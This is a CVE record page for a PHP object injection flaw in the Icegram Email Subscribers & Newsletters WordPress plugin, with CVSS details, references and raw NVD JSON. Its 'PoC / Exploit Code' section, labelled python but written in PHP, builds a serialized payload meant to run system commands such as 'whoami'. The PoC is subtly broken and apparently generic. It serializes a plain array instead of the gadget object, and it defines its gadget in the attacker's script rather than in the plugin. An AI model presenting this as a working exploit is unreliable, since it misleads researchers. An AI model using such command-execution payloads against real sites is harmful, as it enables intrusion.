CVE-2025-66055

Description

Deserialization of Untrusted Data vulnerability in Icegram Email Subscribers & Newsletters email-subscribers allows Object Injection.This issue affects Email Subscribers & Newsletters: from n/a through <= 5.9.10.

CVSS Details

CVSS Score

7.2

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Icegram Email Subscribers & Newsletters Plugin <= 5.9.10

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<?php
/**
 * CVE-2025-66055 PHP Object Injection PoC
 * Target: Icegram Email Subscribers & Newsletters Plugin <= 5.9.10
 * Type: Deserialization of Untrusted Data
 */

// Example gadget chain for WordPress/Plugin context
class EmailSubscribers_Gadget {
    // Common magic methods that can be triggered during deserialization
    public function __wakeup() {
        // Malicious operations can be performed here
        // Example: system command execution
        if (isset($this->cmd)) {
            system($this->cmd);
        }
    }
    
    public function __destruct() {
        // Can be used for secondary attacks
        if (isset($this->callback)) {
            call_user_func($this->callback);
        }
    }
}

// Construct malicious serialized payload
$malicious_payload = serialize([
    'cmd' => 'whoami',
    'callback' => 'system'
]);

echo "Malicious Payload (Base64 encoded):\n";
echo base64_encode($malicious_payload) . "\n";
echo "\nPayload ready for injection via plugin's vulnerable input field.\n";

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-66055
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-66055
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-66055/
[4] VulDB https://vuldb.com/cve/CVE-2025-66055
[5] https://patchstack.com/database/Wordpress/Plugin/email-subscribers/vulnerability/wordpress-email-subscribers-newsletters-plugin-5-9-10-php-object-injection-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-66055", "sourceIdentifier": "[email protected]", "published": "2025-11-21T13:15:46.183", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Deserialization of Untrusted Data vulnerability in Icegram Email Subscribers & Newsletters email-subscribers allows Object Injection.This issue affects Email Subscribers & Newsletters: from n/a through <= 5.9.10."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/email-subscribers/vulnerability/wordpress-email-subscribers-newsletters-plugin-5-9-10-php-object-injection-vulnerability?_s_id=cve", "source": "[email protected]"}]}}